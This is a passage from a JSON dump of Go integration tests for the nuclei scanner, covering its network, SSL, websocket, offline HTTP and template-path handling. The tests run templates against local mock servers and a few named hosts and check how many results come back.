    "content": "package main\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar multiProtoTestcases = []TestCaseInfo{\n\t{Path: \"protocols/multi/dynamic-values.yaml\", TestCase: &multiProtoDynamicExtractor{}},\n\t{Path: \"protocols/multi/evaluate-variables.yaml\", TestCase: &multiProtoDynamicExtractor{}},\n\t{Path: \"protocols/multi/exported-response-vars.yaml\", TestCase: &multiProtoDynamicExtractor{}},\n}\n\ntype multiProtoDynamicExtractor struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *multiProtoDynamicExtractor) Execute(templatePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(templatePath, \"docs.projectdiscovery.io\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/network.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\tosutils \"github.com/projectdiscovery/utils/os\"\n\t\"github.com/projectdiscovery/utils/reader\"\n)\n\nvar networkTestcases = []TestCaseInfo{\n\t{Path: \"protocols/network/basic.yaml\", TestCase: &networkBasic{}, DisableOn: func() bool { return osutils.IsWindows() }},\n\t{Path: \"protocols/network/hex.yaml\", TestCase: &networkBasic{}, DisableOn: func() bool { return osutils.IsWindows() }},\n\t{Path: \"protocols/network/multi-step.yaml\", TestCase: &networkMultiStep{}},\n\t{Path: \"protocols/network/self-contained.yaml\", TestCase: &networkRequestSelContained{}},\n\t{Path: \"protocols/network/variables.yaml\", TestCase: &networkVariables{}},\n\t{Path: \"protocols/network/same-address.yaml\", TestCase: &networkBasic{}},\n\t{Path: \"protocols/network/network-port.yaml\", TestCase: &networkPort{}},\n\t{Path: \"protocols/network/net-https.yaml\", TestCase: &networkhttps{}},\n\t{Path: \"protocols/network/net-https-timeout.yaml\", TestCase: &networkhttps{}},\n}\n\nconst defaultStaticPort = 5431\n\ntype networkBasic struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *networkBasic) Execute(filePath string) error {\n\tvar routerErr error\n\n\tts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\n\t\tdata, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)\n\t\tif err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif string(data) == \"PING\" {\n\t\t\t_, _ = conn.Write([]byte(\"PONG\"))\n\t\t} else {\n\t\t\trouterErr = fmt.Errorf(\"invalid data received: %s\", string(data))\n\t\t}\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"Could not run nuclei: %s\\n\", err)\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\t_, _ = fmt.Fprintf(os.Stderr, \"routerErr: %s\\n\", routerErr)\n\t\treturn routerErr\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype networkMultiStep struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *networkMultiStep) Execute(filePath string) error {\n\tvar routerErr error\n\n\tts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\n\t\tdata, err := reader.ConnReadNWithTimeout(conn, 5, time.Duration(5)*time.Second)\n\t\tif err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif string(data) == \"FIRST\" {\n\t\t\t_, _ = conn.Write([]byte(\"PING\"))\n\t\t}\n\n\t\tdata, err = reader.ConnReadNWithTimeout(conn, 6, time.Duration(5)*time.Second)\n\t\tif err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif string(data) == \"SECOND\" {\n\t\t\t_, _ = conn.Write([]byte(\"PONG\"))\n\t\t}\n\t\t_, _ = conn.Write([]byte(\"NUCLEI\"))\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\n\tvar expectedResultsSize int\n\tif debug {\n\t\texpectedResultsSize = 3\n\t} else {\n\t\texpectedResultsSize = 1\n\t}\n\n\treturn expectResultsCount(results, expectedResultsSize)\n}\n\ntype networkRequestSelContained struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *networkRequestSelContained) Execute(filePath string) error {\n\tts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\n\t\t_, _ = conn.Write([]byte(\"Authentication successful\"))\n\t})\n\tdefer ts.Close()\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"\", debug, \"-esc\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype networkVariables struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *networkVariables) Execute(filePath string) error {\n\tvar routerErr error\n\n\tts := testutils.NewTCPServer(nil, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\n\t\tdata, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)\n\t\tif err != nil {\n\t\t\trouterErr = err\n\t\t\treturn\n\t\t}\n\t\tif string(data) == \"PING\" {\n\t\t\t_, _ = conn.Write([]byte(\"aGVsbG8=\"))\n\t\t}\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif routerErr != nil {\n\t\treturn routerErr\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype networkPort struct{}\n\nfunc (n *networkPort) Execute(filePath string) error {\n\tts := testutils.NewTCPServer(nil, 23846, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\n\t\tdata, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tif string(data) == \"PING\" {\n\t\t\t_, _ = conn.Write([]byte(\"PONG\"))\n\t\t}\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := expectResultsCount(results, 1); err != nil {\n\t\treturn err\n\t}\n\n\t// even though we passed port 443 in url it is ignored and port 23846 is used\n\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, \"23846\", \"443\"), debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := expectResultsCount(results, 1); err != nil {\n\t\treturn err\n\t}\n\n\t// this is positive test case where we expect port to be overridden and 34567 to be used\n\tts2 := testutils.NewTCPServer(nil, 34567, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\n\t\tdata, err := reader.ConnReadNWithTimeout(conn, 4, time.Duration(5)*time.Second)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tif string(data) == \"PING\" {\n\t\t\t_, _ = conn.Write([]byte(\"PONG\"))\n\t\t}\n\t})\n\tdefer ts2.Close()\n\n\t// even though we passed port 443 in url it is ignored and port 23846 is used\n\t// instead of hardcoded port 23846 in template\n\tresults, err = testutils.RunNucleiTemplateAndGetResults(filePath, ts2.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype networkhttps struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *networkhttps) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/offline-http.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar offlineHttpTestcases = []TestCaseInfo{\n\t{Path: \"protocols/offlinehttp/rfc-req-resp.yaml\", TestCase: &RfcRequestResponse{}},\n\t{Path: \"protocols/offlinehttp/offline-allowed-paths.yaml\", TestCase: &RequestResponseWithAllowedPaths{}},\n\t{Path: \"protocols/offlinehttp/offline-raw.yaml\", TestCase: &RawRequestResponse{}},\n}\n\ntype RfcRequestResponse struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *RfcRequestResponse) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"protocols/offlinehttp/data/\", debug, \"-passive\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype RequestResponseWithAllowedPaths struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *RequestResponseWithAllowedPaths) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"protocols/offlinehttp/data/\", debug, \"-passive\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype RawRequestResponse struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *RawRequestResponse) Execute(filePath string) error {\n\t_, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"protocols/offlinehttp/data/\", debug, \"-passive\")\n\tif err == nil {\n\t\treturn fmt.Errorf(\"incorrect result: no error (actual) vs error expected\")\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/integration-test/profile-loader.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nvar profileLoaderTestcases = []TestCaseInfo{\n\t{Path: \"profile-loader/load-with-filename\", TestCase: &profileLoaderByRelFile{}},\n\t{Path: \"profile-loader/load-with-id\", TestCase: &profileLoaderById{}},\n\t{Path: \"profile-loader/basic.yml\", TestCase: &customProfileLoader{}},\n}\n\ntype profileLoaderByRelFile struct{}\n\nfunc (h *profileLoaderByRelFile) Execute(testName string) error {\n\tresults, err := testutils.RunNucleiWithArgsAndGetResults(debug, \"-tl\", \"-tp\", \"cloud.yml\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to load template with id\")\n\t}\n\tif len(results) <= 10 {\n\t\treturn fmt.Errorf(\"incorrect result: expected more results than %d, got %v\", 10, len(results))\n\t}\n\treturn nil\n}\n\ntype profileLoaderById struct{}\n\nfunc (h *profileLoaderById) Execute(testName string) error {\n\tresults, err := testutils.RunNucleiWithArgsAndGetResults(debug, \"-tl\", \"-tp\", \"cloud\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to load template with id\")\n\t}\n\tif len(results) <= 10 {\n\t\treturn fmt.Errorf(\"incorrect result: expected more results than %d, got %v\", 10, len(results))\n\t}\n\treturn nil\n}\n\n// this profile with load kevs\ntype customProfileLoader struct{}\n\nfunc (h *customProfileLoader) Execute(filepath string) error {\n\tresults, err := testutils.RunNucleiWithArgsAndGetResults(debug, \"-tl\", \"-tp\", filepath)\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to load template with id\")\n\t}\n\tif len(results) < 1 {\n\t\treturn fmt.Errorf(\"incorrect result: expected more results than %d, got %v\", 1, len(results))\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/integration-test/ssl.go",
    "content": "package main\n\nimport (\n\t\"crypto/tls\"\n\t\"net\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar sslTestcases = []TestCaseInfo{\n\t{Path: \"protocols/ssl/basic.yaml\", TestCase: &sslBasic{}},\n\t{Path: \"protocols/ssl/basic-ztls.yaml\", TestCase: &sslBasicZtls{}},\n\t{Path: \"protocols/ssl/custom-cipher.yaml\", TestCase: &sslCustomCipher{}},\n\t{Path: \"protocols/ssl/custom-version.yaml\", TestCase: &sslCustomVersion{}},\n\t{Path: \"protocols/ssl/ssl-with-vars.yaml\", TestCase: &sslWithVars{}},\n\t{Path: \"protocols/ssl/multi-req.yaml\", TestCase: &sslMultiReq{}},\n}\n\ntype sslBasic struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *sslBasic) Execute(filePath string) error {\n\tts := testutils.NewTCPServer(&tls.Config{}, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\t\tdata := make([]byte, 4)\n\t\tif _, err := conn.Read(data); err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype sslBasicZtls struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *sslBasicZtls) Execute(filePath string) error {\n\tts := testutils.NewTCPServer(&tls.Config{}, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\t\tdata := make([]byte, 4)\n\t\tif _, err := conn.Read(data); err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-ztls\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype sslCustomCipher struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *sslCustomCipher) Execute(filePath string) error {\n\tts := testutils.NewTCPServer(&tls.Config{CipherSuites: []uint16{tls.TLS_AES_128_GCM_SHA256}}, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\t\tdata := make([]byte, 4)\n\t\tif _, err := conn.Read(data); err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype sslCustomVersion struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *sslCustomVersion) Execute(filePath string) error {\n\tts := testutils.NewTCPServer(&tls.Config{MinVersion: tls.VersionTLS12, MaxVersion: tls.VersionTLS12}, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\t\tdata := make([]byte, 4)\n\t\tif _, err := conn.Read(data); err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype sslWithVars struct{}\n\nfunc (h *sslWithVars) Execute(filePath string) error {\n\tts := testutils.NewTCPServer(&tls.Config{}, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\t\tdata := make([]byte, 4)\n\t\tif _, err := conn.Read(data); err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-V\", \"test=asdasdas\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype sslMultiReq struct{}\n\nfunc (h *sslMultiReq) Execute(filePath string) error {\n\t//nolint:staticcheck // SSLv3 is intentionally used for testing purposes\n\tts := testutils.NewTCPServer(&tls.Config{\n\t\tMinVersion: tls.VersionSSL30,\n\t\tMaxVersion: tls.VersionTLS11,\n\t}, defaultStaticPort, func(conn net.Conn) {\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\t\tdata := make([]byte, 4)\n\t\tif _, err := conn.Read(data); err != nil {\n\t\t\treturn\n\t\t}\n\t})\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, \"-V\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 2)\n}\n"
  },
  {
    "path": "cmd/integration-test/template-dir.go",
    "content": "package main\n\nimport (\n\t\"os\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\nvar templatesDirTestCases = []TestCaseInfo{\n\t{Path: \"protocols/dns/cname-fingerprint.yaml\", TestCase: &templateDirWithTargetTest{}},\n}\n\ntype templateDirWithTargetTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *templateDirWithTargetTest) Execute(filePath string) error {\n\ttempdir, err := os.MkdirTemp(\"\", \"nuclei-update-dir-*\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to create temp dir\")\n\t}\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempdir)\n\t}()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"8x8exch02.8x8.com\", debug, \"-ud\", tempdir)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/template-path.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc getTemplatePath() string {\n\treturn config.DefaultConfig.TemplatesDirectory\n}\n\nvar templatesPathTestCases = []TestCaseInfo{\n\t//template folder path issue\n\t{Path: \"protocols/http/get.yaml\", TestCase: &folderPathTemplateTest{}},\n\t//cwd\n\t{Path: \"./dns/detect-dangling-cname.yaml\", TestCase: &cwdTemplateTest{}},\n\t//relative path\n\t{Path: \"dns/dns-saas-service-detection.yaml\", TestCase: &relativePathTemplateTest{}},\n\t//absolute path\n\t{Path: fmt.Sprintf(\"%v/dns/dns-saas-service-detection.yaml\", getTemplatePath()), TestCase: &absolutePathTemplateTest{}},\n}\n\ntype cwdTemplateTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *cwdTemplateTest) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"8x8exch02.8x8.com\", debug, \"-ms\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype relativePathTemplateTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *relativePathTemplateTest) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"8x8exch02.8x8.com\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype absolutePathTemplateTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *absolutePathTemplateTest) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"8x8exch02.8x8.com\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n\ntype folderPathTemplateTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *folderPathTemplateTest) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiBinaryAndGetCombinedOutput(debug, []string{\"-t\", filePath, \"-target\", \"http://example.com\"})\n\tif err != nil {\n\t\treturn err\n\t}\n\tif strings.Contains(results, \"installing\") {\n\t\treturn fmt.Errorf(\"couldn't find template path,re-installing\")\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/integration-test/templates-dir-env.go",
    "content": "package main\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\n\tosutils \"github.com/projectdiscovery/utils/os\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\n// isNotLinux returns true if not running on Linux (used to skip tests on non-Linux OS)\nvar isNotLinux = func() bool { return !osutils.IsLinux() }\n\nvar templatesDirEnvTestCases = []TestCaseInfo{\n\t{Path: \"protocols/dns/cname-fingerprint.yaml\", TestCase: &templatesDirEnvBasicTest{}, DisableOn: isNotLinux},\n\t{Path: \"protocols/dns/cname-fingerprint.yaml\", TestCase: &templatesDirEnvAbsolutePathTest{}, DisableOn: isNotLinux},\n\t{Path: \"protocols/dns/cname-fingerprint.yaml\", TestCase: &templatesDirEnvRelativePathTest{}, DisableOn: isNotLinux},\n\t{Path: \"protocols/dns/cname-fingerprint.yaml\", TestCase: &templatesDirEnvPrecedenceTest{}, DisableOn: isNotLinux},\n\t{Path: \"protocols/dns/cname-fingerprint.yaml\", TestCase: &templatesDirEnvCustomTemplatesTest{}, DisableOn: isNotLinux},\n}\n\n// copyTemplateToDir copies a template file to a destination directory, preserving the directory structure\nfunc copyTemplateToDir(templatePath, destDir string) error {\n\t// Read the template file\n\ttemplateData, err := os.ReadFile(templatePath)\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to read template file\")\n\t}\n\n\t// Create the destination path preserving directory structure\n\tdestPath := filepath.Join(destDir, templatePath)\n\tdestDirPath := filepath.Dir(destPath)\n\n\t// Create the destination directory if it doesn't exist\n\tif err := os.MkdirAll(destDirPath, 0755); err != nil {\n\t\treturn errkit.Wrap(err, \"failed to create destination directory\")\n\t}\n\n\t// Write the template file\n\tif err := os.WriteFile(destPath, templateData, 0644); err != nil {\n\t\treturn errkit.Wrap(err, \"failed to write template file\")\n\t}\n\n\treturn nil\n}\n\n// templatesDirEnvBasicTest tests basic functionality of NUCLEI_TEMPLATES_DIR\ntype templatesDirEnvBasicTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *templatesDirEnvBasicTest) Execute(filePath string) error {\n\ttempdir, err := os.MkdirTemp(\"\", \"nuclei-templates-dir-env-*\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to create temp dir\")\n\t}\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempdir)\n\t}()\n\n\t// Copy template to temp directory\n\tif err := copyTemplateToDir(filePath, tempdir); err != nil {\n\t\treturn err\n\t}\n\n\t// Set NUCLEI_TEMPLATES_DIR and run nuclei\n\tenvVars := []string{\"NUCLEI_TEMPLATES_DIR=\" + tempdir}\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, \"-t\", filePath, \"-u\", \"8x8exch02.8x8.com\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\n// templatesDirEnvAbsolutePathTest tests that absolute paths work correctly\ntype templatesDirEnvAbsolutePathTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *templatesDirEnvAbsolutePathTest) Execute(filePath string) error {\n\ttempdir, err := os.MkdirTemp(\"\", \"nuclei-templates-dir-env-abs-*\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to create temp dir\")\n\t}\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempdir)\n\t}()\n\n\t// Get absolute path\n\tabsTempDir, err := filepath.Abs(tempdir)\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to get absolute path\")\n\t}\n\n\t// Copy template to temp directory\n\tif err := copyTemplateToDir(filePath, absTempDir); err != nil {\n\t\treturn err\n\t}\n\n\t// Set NUCLEI_TEMPLATES_DIR with absolute path and run nuclei\n\tenvVars := []string{\"NUCLEI_TEMPLATES_DIR=\" + absTempDir}\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, \"-t\", filePath, \"-u\", \"8x8exch02.8x8.com\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\n// templatesDirEnvRelativePathTest tests that relative paths are resolved correctly\ntype templatesDirEnvRelativePathTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *templatesDirEnvRelativePathTest) Execute(filePath string) error {\n\t// Create temp directory in current working directory\n\ttempdir, err := os.MkdirTemp(\".\", \"nuclei-templates-dir-env-rel-*\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to create temp dir\")\n\t}\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempdir)\n\t}()\n\n\t// Get relative path (just the directory name)\n\trelPath := filepath.Base(tempdir)\n\n\t// Copy template to temp directory\n\tif err := copyTemplateToDir(filePath, tempdir); err != nil {\n\t\treturn err\n\t}\n\n\t// Set NUCLEI_TEMPLATES_DIR with relative path and run nuclei\n\t// Note: The implementation should convert relative paths to absolute\n\tenvVars := []string{\"NUCLEI_TEMPLATES_DIR=\" + relPath}\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, \"-t\", filePath, \"-u\", \"8x8exch02.8x8.com\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\n// templatesDirEnvPrecedenceTest tests that -ud flag takes precedence over NUCLEI_TEMPLATES_DIR\ntype templatesDirEnvPrecedenceTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *templatesDirEnvPrecedenceTest) Execute(filePath string) error {\n\t// Create two temp directories\n\tenvTempDir, err := os.MkdirTemp(\"\", \"nuclei-templates-dir-env-*\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to create env temp dir\")\n\t}\n\tdefer func() {\n\t\t_ = os.RemoveAll(envTempDir)\n\t}()\n\n\tflagTempDir, err := os.MkdirTemp(\"\", \"nuclei-templates-dir-flag-*\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to create flag temp dir\")\n\t}\n\tdefer func() {\n\t\t_ = os.RemoveAll(flagTempDir)\n\t}()\n\n\t// Copy template to flag temp directory (this should be used due to precedence)\n\tif err := copyTemplateToDir(filePath, flagTempDir); err != nil {\n\t\treturn err\n\t}\n\n\t// Set NUCLEI_TEMPLATES_DIR to envTempDir (should be ignored due to -ud flag)\n\tenvVars := []string{\"NUCLEI_TEMPLATES_DIR=\" + envTempDir}\n\t// Use -ud flag which should take precedence\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, \"-t\", filePath, \"-u\", \"8x8exch02.8x8.com\", \"-ud\", flagTempDir)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\n// templatesDirEnvCustomTemplatesTest tests that custom template subdirectories are correctly set\ntype templatesDirEnvCustomTemplatesTest struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *templatesDirEnvCustomTemplatesTest) Execute(filePath string) error {\n\ttempdir, err := os.MkdirTemp(\"\", \"nuclei-templates-dir-custom-*\")\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to create temp dir\")\n\t}\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempdir)\n\t}()\n\n\t// Create custom template subdirectories structure\n\tcustomDirs := []string{\"github\", \"s3\", \"gitlab\", \"azure\"}\n\tfor _, dir := range customDirs {\n\t\tcustomDirPath := filepath.Join(tempdir, dir)\n\t\tif err := os.MkdirAll(customDirPath, 0755); err != nil {\n\t\t\treturn errkit.Wrap(err, \"failed to create custom template directory\")\n\t\t}\n\t}\n\n\t// Copy template to temp directory\n\tif err := copyTemplateToDir(filePath, tempdir); err != nil {\n\t\treturn err\n\t}\n\n\t// Set NUCLEI_TEMPLATES_DIR and run nuclei\n\tenvVars := []string{\"NUCLEI_TEMPLATES_DIR=\" + tempdir}\n\tresults, err := testutils.RunNucleiBareArgsAndGetResults(debug, envVars, \"-t\", filePath, \"-u\", \"8x8exch02.8x8.com\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/websocket.go",
    "content": "package main\n\nimport (\n\t\"net\"\n\t\"strings\"\n\n\t\"github.com/gobwas/ws/wsutil\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar websocketTestCases = []TestCaseInfo{\n\t{Path: \"protocols/websocket/basic.yaml\", TestCase: &websocketBasic{}},\n\t{Path: \"protocols/websocket/cswsh.yaml\", TestCase: &websocketCswsh{}},\n\t{Path: \"protocols/websocket/no-cswsh.yaml\", TestCase: &websocketNoCswsh{}},\n\t{Path: \"protocols/websocket/path.yaml\", TestCase: &websocketWithPath{}},\n}\n\ntype websocketBasic struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *websocketBasic) Execute(filePath string) error {\n\tconnHandler := func(conn net.Conn) {\n\t\tfor {\n\t\t\tmsg, op, _ := wsutil.ReadClientData(conn)\n\t\t\tif string(msg) != \"hello\" {\n\t\t\t\treturn\n\t\t\t}\n\t\t\t_ = wsutil.WriteServerMessage(conn, op, []byte(\"world\"))\n\t\t}\n\t}\n\toriginValidate := func(origin string) bool {\n\t\treturn true\n\t}\n\tts := testutils.NewWebsocketServer(\"\", connHandler, originValidate)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, \"http\", \"ws\"), debug)\n\tif err != nil {\n\t\treturn 